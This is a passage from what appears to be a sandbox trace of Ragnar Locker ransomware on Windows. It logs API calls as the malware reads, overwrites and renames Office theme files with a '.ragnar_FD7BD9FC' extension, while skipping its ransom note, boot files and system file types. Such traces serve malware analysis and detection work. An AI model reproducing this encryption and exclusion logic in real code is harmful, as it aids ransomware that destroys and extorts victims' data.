lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.568] VirtualAlloc (lpAddress=0x0, dwSize=0x19539, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.569] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.569] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.569] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19539, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x19539, lpOverlapped=0x0) returned 1 [0073.571] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.572] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19539, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.572] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19539, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x19539, lpOverlapped=0x0) returned 1 [0073.572] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19539, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.572] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.573] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x19539, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.573] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.573] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.573] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.573] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.573] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.573] GetProcessHeap () returned 0x580000 [0073.573] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.573] CloseHandle (hObject=0x100) returned 1 [0073.575] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" [0073.575] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.ragnar_FD7BD9FC" [0073.576] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.578] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0073.578] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.578] lstrcpyW (in: lpString1=0x1eab72, lpString2="EXPEDITN.INF" | out: lpString1="EXPEDITN.INF") returned="EXPEDITN.INF" [0073.578] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned=".INF" [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="autorun.inf") returned 1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="boot.ini") returned 1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="bootfont.bin") returned 1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="bootsect.bak") returned 1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="bootmgr") returned 1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="bootmgr.efi") returned 1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="bootmgfw.efi") returned 1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="desktop.ini") returned 1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="iconcache.db") returned -1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="ntldr") returned -1 [0073.578] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="ntuser.dat") returned -1 [0073.579] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="ntuser.dat.log") returned -1 [0073.579] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="ntuser.ini") returned -1 [0073.579] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="thumbs.db") returned -1 [0073.579] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0073.579] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0073.579] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0073.579] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0073.579] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0073.579] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0073.579] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0073.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf")) returned 0x20 [0073.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.580] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=597) returned 1 [0073.580] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x24c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.580] GetProcessHeap () returned 0x580000 [0073.580] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.580] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.581] VirtualAlloc (lpAddress=0x0, dwSize=0x255, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.581] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.581] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.581] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x255, lpOverlapped=0x0) returned 1 [0073.581] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.581] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x255, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.581] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x255, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x255, lpOverlapped=0x0) returned 1 [0073.582] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x255, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.582] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.582] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x255, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.582] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.582] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.582] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.582] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.582] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.582] GetProcessHeap () returned 0x580000 [0073.582] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.582] CloseHandle (hObject=0x100) returned 1 [0073.584] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" [0073.584] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.ragnar_FD7BD9FC" [0073.584] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.584] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.584] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.584] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0073.584] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned=".GIF" [0073.584] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.584] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0073.584] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0073.584] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0073.584] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0073.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0073.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0073.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0073.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0073.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0073.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0073.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0073.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0073.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0073.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0073.585] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0073.585] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0073.585] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0073.585] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0073.585] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0073.585] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0073.585] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0073.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0073.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.586] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=5120) returned 1 [0073.586] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x13f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.586] GetProcessHeap () returned 0x580000 [0073.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.588] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.589] VirtualAlloc (lpAddress=0x0, dwSize=0x1400, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.589] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.589] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.589] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1400, lpOverlapped=0x0) returned 1 [0073.590] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.590] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1400, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.590] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1400, lpOverlapped=0x0) returned 1 [0073.590] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1400, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.590] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.591] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.591] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.591] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.591] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.591] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.591] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.591] GetProcessHeap () returned 0x580000 [0073.591] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.591] CloseHandle (hObject=0x100) returned 1 [0073.592] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" [0073.592] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.ragnar_FD7BD9FC" [0073.592] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.592] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e09aa80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e09aa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.592] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.593] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0073.593] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\RGNR_FD7BD9FC.txt") returned=".txt" [0073.593] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0073.593] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.593] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.593] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0073.593] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned=".PNG" [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0073.593] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0073.593] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0073.593] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0073.593] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0073.593] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0073.593] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0073.593] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0073.593] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0073.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 